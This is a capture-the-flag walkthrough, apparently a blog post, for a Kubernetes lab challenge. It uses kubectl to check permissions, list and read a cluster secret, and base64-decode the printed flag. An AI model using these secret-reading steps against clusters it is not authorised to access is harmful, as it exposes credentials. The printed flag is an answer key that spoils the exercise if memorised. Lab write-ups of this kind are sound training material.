Challenge 1: Secret Seeker
Challenge one is built to learn more about abusing Kubernetes secrets to your own advantage.
References
The Challenge breakdown
Description:
Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?
Challenge Value: 10 pts
Permissions complements of Wiz: (You're too kind guys)
{
"secrets": [
"get",
"list"
]
}
Solving the Challenge
Lets get started in the terminal below by first confirming what the kubeconfig profile settings were are connected with has the ability to do. In short lets run the `whoami` of kubernetes.
root@wiz-eks-challenge:~# kubectl auth can-i --list
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
podsecuritypolicies.policy [] [eks.privileged] [use]
Here we can see that we have permissions that are consistent with the permission hint provided from Wiz.
Let's break down the permissions of user connected to the kubeconfig file allowing us to run the kubectl commands in the first place in order to interact with the Kubernetes cluster.
secrets
get
Allows the user/role/SA to get information about a specific secret object that was made in the kubernetes cluster. Please note however this doesn't allow us to see all the secrets so the member seeking information on the secret will need to know the secrets name. In order to list available secrets, the k8s member would need the list permission as well.
secrets
list
This allows the k8s member to list the available secrets that it has access to per namespace without knowing any of the secrets resource names prior.
Enumerating the available resources
root@wiz-eks-challenge:~# kubectl get secret
NAME TYPE DATA AGE
log-rotate Opaque 1 4d10hOnly one secret is available and is returned, but this isn't enough information to get a potential secret hash.
root@wiz-eks-challenge:~# kubectl describe secret
Name: log-rotate
Namespace: challenge1
Labels: <none>
Annotations: <none>
Type: Opaque
Data
====
flag: 52 bytesNow we know the secret itself is a 52 byte base64 character string. (See the link below for more information on Kubernetes secrets or the References section above).
Instead of describing the secret lets run a get action verb with the json output and use jq tooling to extract the key's value (I just prefer jq to the builtin jsonpath).
root@wiz-eks-challenge:~# kubectl get secret log-rotate -o json | jq -C '.data.flag'
"d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ=="Now that we have the secret we can decode it.
root@wiz-eks-challenge:~# echo d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ== | base64 -d
wiz_eks_challenge{omg_over_privileged_secret_access}root@wiz-eks-challenge:~#
Boom we got it, now we can finally submit and see if that is the flag.
Challenge 1 completed, time for the next challenge.
Last updated